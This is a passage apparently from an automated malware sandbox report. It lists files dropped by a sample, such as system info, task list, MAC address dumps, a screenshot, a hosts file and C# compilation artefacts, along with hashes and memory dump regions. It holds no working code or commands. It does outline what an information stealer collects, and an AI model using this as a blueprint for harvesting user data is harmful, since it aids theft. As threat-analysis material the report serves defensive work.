SHA5122a403ba5f989db921bcafe9ee0a605f69f6210192554b5fea6f8673df1fa3d1c4a7151d0739bcb3693895f62866f449dd29b226c23b1305ab59dcc0aa8943101
-
C:\Users\Admin\AppData\Local\Temp\ \Directories\Pictures.txtFilesize
775B
MD53974d7b5cf4084e7076b8326c1eb95de
SHA17af512c295f8b5b83223eccec772bab7dd8efeb8
SHA25667cb30b8cc7972a3ae23ec097fe9bb385cffaf6b82fcb8fd33fcdc8a59f677d5
SHA5124d536a8b6a174cf4381a376d3a2273e1aaed53ce2752887ba751231891ad923265606b5639b5538b9c96d3c4753fd365a315e05b69595897097d02d9c54fc8cb
-
C:\Users\Admin\AppData\Local\Temp\ \Directories\Videos.txtFilesize
30B
MD5e140e10b2b43ba6f978bee0aa90afaf7
SHA1bbbeb7097ffa9c2daa3206b3f212d3614749c620
SHA256c3a706e5567ca4eb3e18543296fa17e511c7bb6bef51e63bf9344a59bf67e618
SHA512df5b92757bf9200d0945afda94204b358b9f78c84fbaeb15bdf80eae953a7228f1c19fdf53ed54669562b8f0137623ea6cee38f38ef23a6f06de1673ff05733f
-
C:\Users\Admin\AppData\Local\Temp\ \Display (1).pngFilesize
397KB
MD59506bab470690e8280bcb289967e62a9
SHA19e784f853a634a8f20f728bee6c77213349e5e0d
SHA2567de1810eea0f9a27c21c20cdd3fec4c65618dbd0afebd0df815c89ef242945b7
SHA512468c597ce1f9a6d6b7018363bcba469f71e3534d7b6256201f3907af071b3df061573d59a0d7c21d0eb518b874df44a38be9a76b3808e08066e202982f1fdd32
-
C:\Users\Admin\AppData\Local\Temp\ \System\MAC Addresses.txtFilesize
232B
MD591adbae35ddde189914e1c15f7ba3d03
SHA1d7a7eabe3d5144aaaf52c57da5fd6a52fd87b395
SHA256cfd7f50f92fca5e7fbe15855f0dc90561bbbd8656d50a2bb3ccc30b216af5644
SHA512239bc6f34e58d74a42640ea15dfd3011be070815fa486e9b891d743fedbab1a9f69ef9fb08a9dcd1a2a923642b263ec9e4eb2a82db3bdd3767375e611bbba424
-
C:\Users\Admin\AppData\Local\Temp\ \System\System Info.txtFilesize
2KB
MD59a20f91eb7bad4be6be0fd7bdab87a33
SHA18df47c74082aacbb7090afa7ce6dc9a39ffaa2f6
SHA256f2b694a636a2ac4cba5036f421162ba905663a2b42f6ab53b5d747160601d53d
SHA512972409cbafd14ba6e6cb2fa519175de70791331be08736a546080245f50ac65c54e652754b5e760ddbb95427dc8605d0d85783b356c60fa0ee96c50532b2cdbf
-
C:\Users\Admin\AppData\Local\Temp\ \System\Task List.txtFilesize
13KB
MD55c4e8021fc0fe6ee4e9f38cf96bb4cb1
SHA1e73c0f5f5dfdeed3f563e49e050584a65d663c10
SHA256d74e373e9ac8efd98205a198a4b7f8858ea5cc79f9a9dfc1e7956cc638ec678b
SHA5124fe64872b852d8dc3d5b85e7cd1d91280772d84211a18c92748a94d5caaef25c6e20a96a9bfe197a264d0df08911be3963eb974a4fc55cc2471532bf3ccf2387
-
C:\Windows\System32\drivers\etc\hostsFilesize
2KB
MD5f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA256a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
SHA512c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6
-
\??\c:\Users\Admin\AppData\Local\Temp\o02np5hr\CSC986EE5D1C80947E893FBBD47A66D9721.TMPFilesize
652B
MD5d77eeb9808acdddad3b0c3b1042b801d
SHA1a84f644485ec6325e94811fc4f804556d8fbacb1
SHA256e00c4c9bd6b72277d2f3606dadd49db8180c97d2146201d1630c153d1fbcc35c
SHA5122440c8944dd9607e8bb6739200153c91a8ab98f5cd073f01afd7729bb77fd329961e111e5fcf09412ee3435b6cbb2d254243d751b3e586a4d44511f79443a02b
-
\??\c:\Users\Admin\AppData\Local\Temp\o02np5hr\o02np5hr.0.csFilesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
\??\c:\Users\Admin\AppData\Local\Temp\o02np5hr\o02np5hr.cmdlineFilesize
607B
MD5e632431042d0bdafc3517dd45d59bc60
SHA1774f1b8d1aaa84f181434b571fe1118f67277a59
SHA256bc5f207b93a928fa9e57a81c39e0c363dd5fc5e38819b94bcf6b95a5a5f2e8e0
SHA512e9ddf3c9d9b5ac11e0a2e3ae5d4cc6e17b201a20e43ab4bbbe96f32a5b732a04e9d36dc04d416e8a6699a04f7a468d4e24b5b6a5ff0987dcf8aad2fa504749d0
-
memory/1624-64-0x00007FF8EAEE0000-0x00007FF8EAEED000-memory.dmpFilesize
52KB
-
memory/1624-279-0x00007FF8E7E00000-0x00007FF8E7E2E000-memory.dmpFilesize
184KB
-
memory/1624-60-0x00007FF8D84D0000-0x00007FF8D864A000-memory.dmpFilesize
1.5MB
-
memory/1624-56-0x00007FF8EB4B0000-0x00007FF8EB4C8000-memory.dmpFilesize
96KB
-
memory/1624-67-0x00007FF8E7E00000-0x00007FF8E7E2E000-memory.dmpFilesize
184KB
-
memory/1624-270-0x00007FF8E85E0000-0x00007FF8E85ED000-memory.dmpFilesize
52KB
-
memory/1624-54-0x00007FF8EB3D0000-0x00007FF8EB3FC000-memory.dmpFilesize
176KB
-
memory/1624-48-0x00007FF8EB4D0000-0x00007FF8EB4DF000-memory.dmpFilesize
60KB
-
memory/1624-63-0x00007FF8E7EF0000-0x00007FF8E7F09000-memory.dmpFilesize
100KB
-
memory/1624-271-0x00007FF8EB7E0000-0x00007FF8EB804000-memory.dmpFilesize
144KB
-
memory/1624-75-0x00007FF8D8650000-0x00007FF8D8AB6000-memory.dmpFilesize
4.4MB
-
memory/1624-76-0x00007FF8E7ED0000-0x00007FF8E7EE5000-memory.dmpFilesize
84KB
-
memory/1624-77-0x00007FF8E85E0000-0x00007FF8E85ED000-memory.dmpFilesize
52KB
-
memory/1624-80-0x00007FF8E7850000-0x00007FF8E7968000-memory.dmpFilesize
1.1MB
-
memory/1624-78-0x00007FF8EB7E0000-0x00007FF8EB804000-memory.dmpFilesize
144KB
-
memory/1624-70-0x00007FF8E7D40000-0x00007FF8E7DF8000-memory.dmpFilesize
736KB
-
memory/1624-71-0x0000027798B10000-0x0000027798E89000-memory.dmpFilesize
3.5MB
-
memory/1624-72-0x00007FF8D8150000-0x00007FF8D84C9000-memory.dmpFilesize
3.5MB
-
memory/1624-30-0x00007FF8EB7E0000-0x00007FF8EB804000-memory.dmpFilesize
144KB
-
memory/1624-25-0x00007FF8D8650000-0x00007FF8D8AB6000-memory.dmpFilesize
4.4MB
-
memory/1624-255-0x00007FF8D8650000-0x00007FF8D8AB6000-memory.dmpFilesize
4.4MB
-
memory/1624-283-0x00007FF8E7850000-0x00007FF8E7968000-memory.dmpFilesize
1.1MB
-
memory/1624-282-0x00007FF8E7ED0000-0x00007FF8E7EE5000-memory.dmpFilesize
84KB
-
memory/1624-281-0x00007FF8E7D40000-0x00007FF8E7DF8000-memory.dmpFilesize
736KB
-
memory/1624-280-0x00007FF8D8150000-0x00007FF8D84C9000-memory.dmpFilesize
3.5MB
-
memory/1624-58-0x00007FF8E85F0000-0x00007FF8E860F000-memory.dmpFilesize
124KB
-
memory/1624-278-0x00007FF8EAEE0000-0x00007FF8EAEED000-memory.dmpFilesize
52KB
-
memory/1624-277-0x00007FF8E7EF0000-0x00007FF8E7F09000-memory.dmpFilesize
100KB
-
memory/1624-276-0x00007FF8D84D0000-0x00007FF8D864A000-memory.dmpFilesize
1.5MB
-
memory/1624-275-0x00007FF8E85F0000-0x00007FF8E860F000-memory.dmpFilesize
124KB
-
memory/1624-274-0x00007FF8EB4B0000-0x00007FF8EB4C8000-memory.dmpFilesize
96KB
-
memory/1624-273-0x00007FF8EB3D0000-0x00007FF8EB3FC000-memory.dmpFilesize
176KB
-
memory/1624-272-0x00007FF8EB4D0000-0x00007FF8EB4DF000-memory.dmpFilesize
60KB
-
memory/1948-81-0x0000021D62430000-0x0000021D62452000-memory.dmpFilesize
136KB
-
memory/3628-182-0x000001E1EB5E0000-0x000001E1EB5E8000-memory.dmpFilesize
32KB